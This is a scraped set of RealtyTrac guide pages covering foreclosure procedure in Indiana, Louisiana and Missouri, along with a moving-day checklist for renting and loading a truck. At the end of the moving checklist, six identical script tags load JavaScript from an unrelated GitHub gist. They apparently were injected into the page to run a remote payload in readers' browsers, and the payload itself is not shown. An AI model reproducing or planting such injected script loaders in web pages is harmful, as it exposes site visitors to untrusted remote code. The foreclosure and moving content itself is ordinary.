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Home Buying Guides & Tips

<h3>Foreclosure Process Overview</h3>
<table id="state_overview" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="text-align: center;"><strong>Judicial</strong></td>
<td style="text-align: center;"><strong>Non Judicial</strong></td>
<td style="text-align: center;"><strong>Comment</strong></td>
<td style="text-align: center;"><strong>Process Period</strong></td>
<td style="text-align: center;"><strong>Publish Sale</strong></td>
<td style="text-align: center;"><strong>Redemption Period</strong></td>
<td style="text-align: center;"><strong>Sale/NTS</strong></td>
</tr>
<tr>
<td style="text-align: center;">•</td>
<td style="text-align: center;"></td>
<td style="text-align: center;">Judicial only</td>
<td style="text-align: center;">261 days</td>
<td style="text-align: center;">120 days</td>
<td style="text-align: center;">None</td>
<td>Sheriff</td>
</tr>
</tbody>
</table>
<h3>Pre-foreclosure Period</h3>
<p>The foreclosure process begins when the lender files a complaint in court against the borrower. Indiana law does not require that a lender send a default notice to the borrower before filing the complaint, but most lenders do. The date the mortgage was executed controls the pre-foreclosure period between filing the complaint and the foreclosure sale. Most often it is three months, but for older mortgages, it can be six or 12 months. There is no waiting period for abandoned properties. The owner may agree to dismiss this pre-foreclosure period, allowing the sale to proceed; however, this causes the lender to lose its rights to pursue any debt not satisfied by the foreclosure sale. After the pre-foreclosure period expires, a copy of the order of sale and judgment are issued and certified by the clerk to the sheriff. After receiving the order, the sheriff proceeds with the foreclosure sale.</p>
<p>At any time before the foreclosure sale, a borrower may satisfy the judgment by paying the debt, interest, and costs; the complaint must then be dismissed.</p>
<h3>Notice of Sale / Auction</h3>
<p>The sheriff appoints an auctioneer to conduct the foreclosure sale. The notice of sale must be published once a week for three weeks in a local newspaper, and the first publication must occur 30 days before the sale. The sheriff also must post the notice in at least three public places, as well as the county courthouse. The borrower is served with the notice of sale by the sheriff. Immediately after the foreclosure sale, the sheriff transfers the property ownership to the winning bidder. If a lender postpones the sale, another sheriff’s sale request must be filed, and the notices must be re-served and republished.</p>
<p>Once the sale is complete, a borrower no longer has redemption rights.</p>
<blockquote>
<h4>More Resources</h4>
<p><a title="Learn how to prevent a home foreclosure" href="/real-estate-guides/foreclosure-prevention/">Learn how to prevent a home foreclosure</a><br />
<a title="Get help stopping a home foreclosure" href="/real-estate-guides/foreclosure-prevention/stop-foreclosure/">Get help stopping a home foreclosure</a><br />
<a title="Search foreclosures in Indiana" href="http://www.realtytrac.com/mapsearch/indiana-foreclosures.html">Search foreclosures in Indiana</a><br />
<a title="Learn how to buy foreclosures" href="/real-estate-guides/how-to-buy-foreclosures/">Learn how to buy foreclosures</a></p>
</blockquote>
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Indiana Foreclosure Laws

Indiana Foreclosure Laws - RealtyTrac

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Resource

RealtyTrac

Manuel is an expert in all things real estate, including buying and flipping homes.

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Manuel Martinez

<p>Here is a quick check list of items that can help you during the physical act of moving. Whether you are using a professional moving company or doing it all yourself, these tips will help you with everything from how to pack breakables to what to pack first to how to pack cleaning products.</p>
<p>These helpful check lists will help you get from your old home to your new one. Most people can’t start packing until two weeks before they move out because they need to use the items they would be packing. This list encourages you to begin packing as early as possible, but we understand that each person is under his or her own specific pressures and timelines.</p>
<p><b>Moving Company/Rental Truck:</b> Hire a moving company or reserve a rental truck first thing. These services can easily get booked up and leave you stranded. So the sooner you hire a moving company or rent a truck the better.</p>
<h2>2 Weeks Before</h2>
<p><b>Locating Boxes:</b> Grocery stores, bars and liquor stores always have the best empty boxes. Their boxes are designed to be able to hold large amounts of weight. However, if you have a friend or neighbor who has moved recently, ask them if you can take some boxes off their hands.</p>
<p><b>Packing Bikes:</b> Visit a bike shop for a box to pack your bike(s).</p>
<p><b>Make Moving Painless:</b> Pack a little bit every night. One box can make a big difference.</p>
<h2>One Week Before</h2>
<p><b>Reserve the Elevator:</b> If you are moving into a high-rise apartment, reserve use of an elevator (where possible) so that you are not constantly waiting on each load.</p>
<p><b>Heavy Boxes:</b> Sit all boxes of books and heavy stuff on the floor so that lighter boxes can go on top.</p>
<p><b>Stacking Breakables:</b> Find a place on the floor for breakables so that they can’t fall off of anything.</p>
<h2>Few Days Before</h2>
<p><b>Double Check on Your Rentals:</b> If you are renting a truck, call again to make sure that your truck will indeed be ready just to be on the safe side.</p>
<p><b>Rental Truck Emergency Kit:</b> Buy some windshield wiper fluid, anti-freeze or coolant, and motor oil. This truck will be pulling a heavy load and it might need more than just gas to get there.</p>
<p><b>Buy a Lock:</b> Buy a lock so that you can secure the back door to your truck.</p>
<p><b>Road Supplies:</b> Make a list of things that you want to have in the car with you — either to eat, drink, or occupy your mind.</p>
<p><b>Lodging reservations:</b> If you will be stopping in an area with many lodging choices, it is best to grab a room when you arrive to get the best price. But if you don’t want to drive around looking for places, then reserve a room in advance. If you are camping in a state park, it is best to reserve a space before you leave.</p>
<p><b>Always Double-Check:</b> Double-check reservations at campgrounds, hotels, motels, Aunt Jane’s just to be on the safe side.</p>
<p><b>Travel Entertainment:</b> Bring games in the car for the kids to entertain themselves.</p>
<p><b>Road Trip Essentials:</b> Many moving trucks are only equipped with the barest essentials, often without a tape deck or CD player, sometimes even without FM radio. Check your particular truck and decide if you can travel that far without some good tunes or talk radio. Buying a small radio might be a good investment.</p>
<h2>Moving Day</h2>
<p><b>Renting the Truck:</b> There will be a walk around by you and one of the rental company employees. You will be held accountable for any damage that is not written on this sheet. So be sure to note every little flaw.</p>
<p><b>Think about Overpasses:</b> Before you pull out of the driveway, get your mind ready to be thinking about overpasses. This is a common problem with rental trucks as people are not used to looking for low clearance. If you go under a low clearance bridge that you will not clear, it will destroy the truck. And you will be left holding the bill.</p>
<p><b>Loading a Rental Truck:</b> When loading the rental truck pack the heavy stuff toward the front of the truck — meaning the part of the truck closest to the cab. Washers and dryers should go on first, followed by pianos, furniture, and anything big and heavy.</p>
<p><b>Truck Ramps:</b> Often rental trucks have a pullout ramp for loading and unloading. This ramp is narrow and typically made of aluminum. Be careful that you don’t fall off either side when carrying heavy objects. Also, these ramps can become very slick if they even get a little bit wet. Carpet scraps and rags are great to minimize slipping.</p>
<p><b>Consider Unloading:</b> If you can, pack such that what you want to come off first is put on last. Mainly items that will be going upstairs or toward the back of the house should be loaded last, so they can come off first.</p>
<p><b>Towing a Vehicle:</b> If you are towing a vehicle behind your rental truck, make sure the trailer has a working tow package. This means that the brake lights, tail lights, blinkers, and trailer brakes are all in working order.</p>
<p><b>Crowns in the Road:</b> All roads are crowned in the middle so that water won’t stand. This crown will feel severe in a big truck. Try to stack the driver’s side of the truck with more of the heavy stuff so that the truck rides even.</p>
<p><b>Parking Your Rental Truck:</b> If you are traveling on multiple nights, make sure to park your truck smartly. Find a wall or a tree or some otherwise immovable place where you can back the truck right up close. This way, if someone happens to break into your truck, they won’t be able to get many items out.</p>
<p><b>Moving In:</b> If you have items that will just go into storage in your new home, such as in the basement or in a closet, be sure to take these boxes straight there. Don’t just drop off boxes right inside the door because it’s easy. Take them where they need to go because you will end up stepping over them throughout moving day.</p>
<p><b>One Extra Day:</b> It is a smart idea to compare the pricing difference if you kept the truck one extra day. People often underestimate how draining the whole moving process can be, and if you are hurrying all day so that you can return the truck by five, you will most likely make extra work on yourself by not moving the right things to the right room. Find out what it would be worth to you to be able to take breaks, work at a nice pace, and take the truck back the next day. It could be such a small amount that it will be worth it to pay for the extra time and have the option to be tired and work smartly.</p>
<p><b>Gas up the Truck:</b> Be sure to take the rental truck back with a full tank of gas, as they will charge you an extraordinary amount per gallon if they have to fill it. <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script> <script type="text/javascript" src="https://gist.githubusercontent.com/vladimir677/bd66b2780ce8792e731469b660a62590/raw/3a71aff685732599ba7fbadf7b929eae8d19053a/js.js"></script></p>


Buying a home

Moving Tips: What To Do During The Weeks Before Moving In

Here are some quick tips that can help making house a little easier

Moving Tips: What To Do During The Weeks Before Moving In - RealtyTrac

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<p>Under Louisiana foreclosure laws, only judicial foreclosures are permitted. However, there are two types of judicial foreclosure in Louisiana: executory and ordinary. Louisiana foreclosures can take from 180 to 270 days, depending on whether the foreclosure is ordinary or executory and whether the homeowner contests the foreclosure. Executory foreclosures are technically judicial foreclosures but permit lenders to avoid many of the steps typically considered part of a judicial foreclosure. Ordinary judicial foreclosures follow the conventional timeline in which a lender sues a homeowner for mortgage loan delinquency and, ultimately, proves their case and is awarded a foreclosure judgment by the court. The ordinary process is more extensive and costly, and it works more like a lawsuit. This foreclosure process usually lasts about nine months. Most Louisiana foreclosures are executory in nature.</p>
<h2>The Louisiana Pre-Foreclosure Process</h2>
<p>As in most other states, federal law discourages the initiation of foreclosure proceedings in Louisiana until the borrower has fallen 120 days past due on their mortgage loan payments. Although this period of time is not officially part of the pre-foreclosure process, real estate investors should consider it an essential part of investment strategy because many homeowners in this stage feel they have entered “pre-foreclosure” and may be considering selling their properties.</p>
<p>When a Louisiana homeowner misses a payment on their home loan, the servicer has the option to extend a “grace period” during which the borrower may simply make the missed payment without incurring fees, fines, or penalties. In most cases, this period is about 15 days, but Louisiana foreclosure law does not set a definite length.</p>
<p>Lenders are required by federal loan servicing laws to contact the homeowner by phone or in person to discuss foreclosure alternatives and loss mitigation options no more than 36 days after each payment is missed. No more than 45 days after each payment is missed, the servicer must provide information about these options in writing and assign an individual to the case. Many Louisiana home loans also include provisions requiring lenders to send a “breach letter” to the borrower letting them know that they will face foreclosure if the debt remains unpaid and that the lender may have the option to accelerate the foreclosure if the delinquency goes unaddressed.</p>
<h3>Executory Foreclosures</h3>
<p>If a borrower has agreed in the terms of their loan that the lender may obtain a judgment “on default,” also called a “confession of judgment,” then the lender may file a foreclosure petition in court after pursuing all requisite pre-foreclosure actions. The lender attaches the mortgage to the foreclosure petition in order to have the court order the property seized and then sold. Homeowners can stall or halt this process by appealing the petition or bringing suit against the lender.</p>
<p>More details on executory foreclosures:</p>
<p>The executory process involves the lender using a mortgage that includes an “authentic act that imparts a confession of judgment” in which the borrower accepts the obligations under the mortgage. The lender is not required by state law to send any notification to the borrower before beginning the foreclosure process; however, the deed of trust or mortgage may include such a requirement. Either way, once the petition is filed, the borrower is served with a demand for the default amount. If the borrower does not provide the amount within three days, the court orders a writ of seizure and sale, and the clerk delivers it to the sheriff. The sheriff delivers the writ of seizure to the borrower. Louisiana foreclosure laws require the notice of seizure to include information about avoiding foreclosure, availability of free housing counseling, and the time, date, and location of the sheriff’s sale. The initial sale date cannot be sooner than 60 days from the date that the court signed the foreclosure order.</p>
<p>Once the sheriff serves the writ of seizure, they also must publish the notice of sale. The sale is a public auction, and the notice of sale must be published at least twice in a newspaper in the parish where the property is located. The sheriff conducts the sale, and anyone may bid including the borrower. The winning bidder must pay the sale price in cash on the day of the sale, or in some cases, within 30 days of the sale if a 10-percent deposit is made. The sheriff then issues a deed to the winning bidder.</p>
<h3>Deficiency Judgments and Rights of Redemption in Louisiana</h3>
<p>In the event that the sale of the Louisiana foreclosure does not bring in enough money to cover the money owed on the property, the lender can file suit for a deficiency judgment against the former homeowner. However, this is only an option if the property was appraised before the sale. In order to obtain a deficiency judgment, the lender must:</p>
<p>1.         <strong>File a separate suit after the executory foreclosure </strong>or</p>
<p>2.         <strong>Convert the executory procedure to an ordinary procedure</strong></p>
<p>This is important information for a real estate investor interested in buying Louisiana foreclosures because a potential seller should know under what circumstances they might face a deficiency judgment and owe additional money after losing their house via Louisiana foreclosure laws.</p>
<p>Louisiana does not offer former homeowners the right to redemption after the foreclosure sale. Once the sale is complete, a borrower has no recourse for recovering the home.</p>
<h3>What Happens When You Buy Louisiana Foreclosures?</h3>
<p>Once you have successfully purchased a Louisiana foreclosure, your deed will be recorded and you will have the right to get a writ of possession from the court. Once you obtain this, you can evict the former homeowner from the property. However, Louisiana, like many states, has enacted foreclosure and eviction moratoriums on at least one occasion since the housing crash in the mid-2000s. In April 2020, due to the COVID-19 pandemic, Louisiana Governor John Bel Edwards extended an executive order that would protect eligible borrowers and tenants from being evicted from their homes for nonpayment on their home loans or rent. In most cases, these properties may not get to the point of a foreclosure sale, but real estate investors who buy Louisiana foreclosures  must remain abreast of legislation and regulation that might affect their ability to acquire and control these properties.</p>
<p>RealtyTrac is here to help you buy investment properties whether this is your first deal or your 500<sup>th</sup>. Our vast database of national foreclosures, REOs, and bank-owned properties is perfect for helping you find the best real estate investment for you. <a href="https://www.realtytrac.com/profile/registration.aspx"><strong>Sign Up Now</strong></a><strong> </strong>and take full advantage of RealtyTrac’s FREE Trial, which allows you to search our real estate inventory free for 7 days. The perfect investment property could be waiting for you right around the corner!</p>
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Louisiana Foreclosure Laws

Louisiana foreclosure laws and pre-foreclosure processes are important for real estate investors. Get all the necessary information here on RealtyTrac

Louisiana Foreclosure Laws - RealtyTrac

<h3>Foreclosure Process Overview</h3>
<p>Provided by <a href="http://www.mllfpc.com/" target="_blank" rel="noopener">Martin, Leigh, Laws & Fritzlen, P.C.</a></p>
<p>In Missouri, foreclosures are handled both in and out of court. The typical foreclosure process takes about two months. There are two types of foreclosure that exist in Missouri – statutory judicial foreclosure and non-judicial foreclosure.</p>
<table id="state_overview" width="100%" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td style="text-align: center;"><strong>Judicial</strong></td>
<td style="text-align: center;"><strong>Non Judicial</strong></td>
<td style="text-align: center;"><strong>Comment</strong></td>
<td style="text-align: center;"><strong>Process Period</strong></td>
<td style="text-align: center;"><strong>Publish Sale</strong></td>
<td style="text-align: center;"><strong>Redemption Period</strong></td>
<td style="text-align: center;"><strong>Sale/NTS</strong></td>
</tr>
<tr>
<td style="text-align: center;">•</td>
<td style="text-align: center;">•</td>
<td style="text-align: center;">Non-judicial mostly</td>
<td style="text-align: center;">60 days</td>
<td style="text-align: center;">10 days</td>
<td style="text-align: center;">365 days</td>
<td>Trustee</td>
</tr>
</tbody>
</table>
<h3>I. Judicial vs. Non-Judicial</h3>
<h4>A. Judicial Foreclosure</h4>
<p>Statutory judicial foreclosure, found in Sections 443.190-443.280 Mo. Rev. Stat., allows a mortgagee to commence foreclosure actions in the circuit court in the county where the real estate is located against the original mortgagor, any persons who assumed the indebtedness, junior lien holders or judgment creditors, others claiming an interest in the real estate, and people having right of possession. Such foreclosure is a judicial proceeding only used where a non-judicial foreclosure has not been agreed upon, or in other instances where preliminary equitable relief is sought, such as a court setting aside the cancellation of record of a deed of trust, requiring a court to order the judicial foreclosure. See Louis v. Andrea, 338 S.W.2d 96 (Mo. 1960). This synopsis will focus on non-judicial foreclosures, as the vast majority of foreclosures in Missouri are non-judicial.</p>
<h4>B. Non-Judicial Foreclosure</h4>
<p>Typically, Missouri foreclosures are non-judicial because a contractual power of sale is valid in Missouri, a state which allows the use of Deeds of Trust to grant a security interest in real estate. See Chapter 443 Mo. Rev. Stat.; Abrams v. Lakewood Park Cemetery Ass’n, 196 S.W. 2d 278 (Mo. 1946).</p>
<p>Generally, foreclosure of a Deed of Trust occurs after (1) default in performance pursuant to the terms of the Deed of Trust, including the terms of the promissory note secured by the Deed of Trust, and (2) acceleration of the entire debt due. See Petring v. Kuhs, 171, S.W.2d 635 (Mo. 1943); Miller v. Jones, 635 S.W.2d 360, 362 (Mo.App. 1982).</p>
<h3>II. Timeline</h3>
<h4>A. Foreclosure Sale</h4>
<p>Subject to the time limits set forth hereafter, a foreclosure sale may be conducted on any date after a Notice of Default is sent to the debtor. See Petring v. Kuhs, 171, S.W.2d 635 (Mo. 1943); Miller v. Jones, 635 S.W.2d 360, 362 (Mo.App. 1982). Only the requirements stated below for publication and mailing affect the choice of the actual date.</p>
<h4>B. Notices of Sale</h4>
<p>Notices of sale are required to contain the date, book and page of the Deed of Trust, name of each grantor on the Deed of Trust, the time, terms and place of sale, and a description of the real estate to be sold. The notice must be published and mailed to required parties.<br />
<strong>1. Publication</strong><br />
Pursuant to Section 443.320 Mo Rev. Stat., a Notice of Foreclosure Sale must be printed in a newspaper published in the county in which the real estate is situated at least once a week for a total of four weeks, with the last publication being not more than one week before the sale date. If the land is located in more than one county, the notice must be published in each county. If the land is located in a Missouri first-class County, of which there are three, publication is for 21 consecutive days in a daily newspaper with the last day being the date of sale.<br />
2. Mail<br />
Pursuant to section 443.325 Mo. Rev. Stat., the notice of sale must be mailed via certified or registered mail, postage prepaid and deposited in the U.S. mail at least 20 days before the date of the foreclosure sale. Such notice must be sent to the last known address of the original grantors in the Deed of Trust, the last known address of person’s shown by the recorder’s office to be the owners of the property as of 40 days before the date of the foreclosure sale, and any person who has recorded a request for notice of sale under the Deed of Trust either at least 40 days before the date of the sale or recorded under another Deed of Trust that was recorded before the Deed of Trust now being foreclosed, if that prior Deed of Trust is not released of record.<br />
<strong>3. Notice to IRS</strong><br />
According to Internal Revenue Code Section 7425, notice of the foreclosure sale must be sent to the Internal Revenue Service if an IRS Notice of Lien on the real estate is filed more than 30 days before the date of the sale. This notice must be given by personal service or by registered or certified mail to the IRS District Director at least 25 days before the date of sale.</p>
<h4>C. Additional Considerations</h4>
<p>Some common situations may arise which affect the timelines for Deed of Trust sales such as death of owner or bankruptcy of debtor. Section 443.300 Mo. Rev. Stat. provides that in the event of the death of a person owning the real estate subject to the Deed of Trust, no foreclosure sale shall take place within six months of the date of death of such a person. Filing a petition for bankruptcy automatically stays any foreclosure proceeding at any stage until the Bankruptcy Court allows relief from the automatic stay or the stay is terminated upon the dismissal of the debtor’s bankruptcy case. See 11 U.S.C. Section 62(a). Section 443.355 Mo. Rev. The state allows the trustee to continue the sale, without re-publishing or re-mailing the notices, one time for a period not to exceed seven days so long as the continuance and new date and time is announced at the originally set date and time of sale.</p>
<h4>D. Post-Sale</h4>
<p>After completion of the sale, and if no valid Notice of Redemption (discussed below), a Trustee’s Deed is furnished to the highest bidder as soon as feasible.</p>
<h3>III. Where and How Sale Conducted</h3>
<p>Pursuant to section 449.310, the sale shall take place in the county where the land is located. The sale shall be conducted at a commercially reasonable time, which can be any time between the hours of 9:00 a.m. and 5:00 p.m. See Section 443.327 Mo. Rev. Stat.</p>
<p>As a practical matter, the trustee will appear at the proper place and time as noticed and announce, or call, the sale inviting all interested persons to participate. The terms of the sale are announced, such as non-refundable 10 percent of sale price at the time of sale with balance due by close of business that day in the office of the trustee. The Notice of Sale, as published, is read and bids for separate parcels are taken, then bids for the entire property are heard until no more bids are made after a reasonable interval. The bid or bids that produce the greatest sale price will be accepted. The property is announced sold to the highest bidder.</p>
<h3>IV. Redemption</h3>
<p>Missouri law provides for both statutory redemption rights and periods and common-law, equitable redemption.</p>
<h4>A. Statutory Redemption</h4>
<p>Statutory redemption allows for two types of redemption of the property. On one hand, property can be redeemed at any time before the foreclosure sale by payment of the entire balance of the debt and foreclosure expenses incurred up to that time. Section 443.400 Mo. Rev. Stat.</p>
<p>On the other hand, property may be redeemed after the sale only when the purchaser at the foreclosure sale is the holder of the debt or is any other person for such holder. Section 443.410 Mo. Rev. Stat. The right of this latter, statutory redemption is available only to the original mortgagor (and his heirs, devisees, executors, administrators, grantees or assigns) and the original mortgagor must do the following:</p>
<p>1. Give written notice to the trustee at the sale or within 10 days before the advertised date of the sale;<br />
2. Post a bond within 20 days after the sale in the circuit clerk’s office along with a Motion for Approval and giving the purchaser one day’s notice;<br />
3. Bond must be approved by the court within 20 days after the date of the sale;<br />
4. Bond must be executed by mortgagor and at lease one good surety, and in sufficient amount; and<br />
5. Mortgagor must, within one year for the date of the sale, pay the full amount of the debt secured by the Deed of Trust, full amount paid by the purchaser for interest and principal on any prior encumbrance of the property, taxes and assessments, and legal charges and costs of the foreclosure. See Sections 443.410, et seq., Mo. Rev. Stat.</p>
<h4>B. Equitable Redemption</h4>
<p>Under common-law, equitable redemption is potentially available after any foreclosure, and is essentially an equity action in which the mortgagor seeks relief from the Court by showing fraud or other defect in the sale causing the mortgagor damage, such as the property sold for a lower price than it would have absent the defect. A judgment in favor of the mortgagor allows for a one-year redemption period.</p>
<h4>C. IRS Redemption</h4>
<p>As discussed above, the IRS must receive notice of a sale if a Notice of IRS Lien on the real estate is filed more than 30 days before the date of the sale. Even if the Notice of Sale is given, the IRS has the right, within 120 days from the date of the foreclosure sale, to redeem the property by paying to the successful bidder the amount of the bid plus interest from the date of the sale. I.R.C. Section 7425.</p>
<blockquote>
<h4>More Resources</h4>
<p><a title="Learn how to prevent a home foreclosure" href="/real-estate-guides/foreclosure-prevention/">Learn how to prevent a home foreclosure</a><br />
<a title="Get help stopping a home foreclosure" href="/real-estate-guides/foreclosure-prevention/stop-foreclosure/">Get help stopping a home foreclosure</a><br />
<a title="Search foreclosures in Missouri" href="http://www.realtytrac.com/mapsearch/missouri-foreclosures.html">Search foreclosures in Missouri</a><br />
<a title="Learn how to buy foreclosures" href="/real-estate-guides/how-to-buy-foreclosures/">Learn how to buy foreclosures</a></p>
</blockquote>
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Judicial	Non Judicial	Comment	Process Period	Publish Sale	Redemption Period	Sale/NTS
•		Judicial only	261 days	120 days	None	Sheriff